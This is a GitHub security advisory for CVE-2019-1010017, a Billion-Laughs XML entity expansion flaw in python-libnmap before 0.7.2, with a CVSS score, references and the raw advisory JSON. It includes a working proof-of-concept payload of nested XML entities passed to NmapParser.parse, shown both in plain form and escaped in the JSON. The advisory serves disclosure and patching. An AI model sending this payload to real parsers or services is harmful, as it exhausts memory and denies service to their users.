GHSA-9CCV-P7FG-M73X

Vulnerability from github – Published: 2019-07-18 15:38 – Updated: 2024-10-15 16:43
VLAI?
Summary
XML Injection in python-libnmap
Details

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)
Severity ?
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-libnmap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-1010017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-07-18T15:38:22Z",
    "nvd_published_at": "2019-07-15T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Description\n\npython-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.\n\n### PoC\n\n```python\nty = NmapParser()\n\npayload = \"\"\"\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"lol\"\u003e\n \u003c!ELEMENT lolz (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n]\u003e\n\u003clolz\u003e\u003chello\u003e\u0026lol3;\u003c/hello\u003e\u003c/lolz\u003e\n\"\"\"\n\nty.parse(payload)\n```",
  "id": "GHSA-9ccv-p7fg-m73x",
  "modified": "2024-10-15T16:43:37Z",
  "published": "2019-07-18T15:38:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1010017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/savon-noir/python-libnmap/issues/87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/savon-noir/python-libnmap"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XML Injection in python-libnmap"
}


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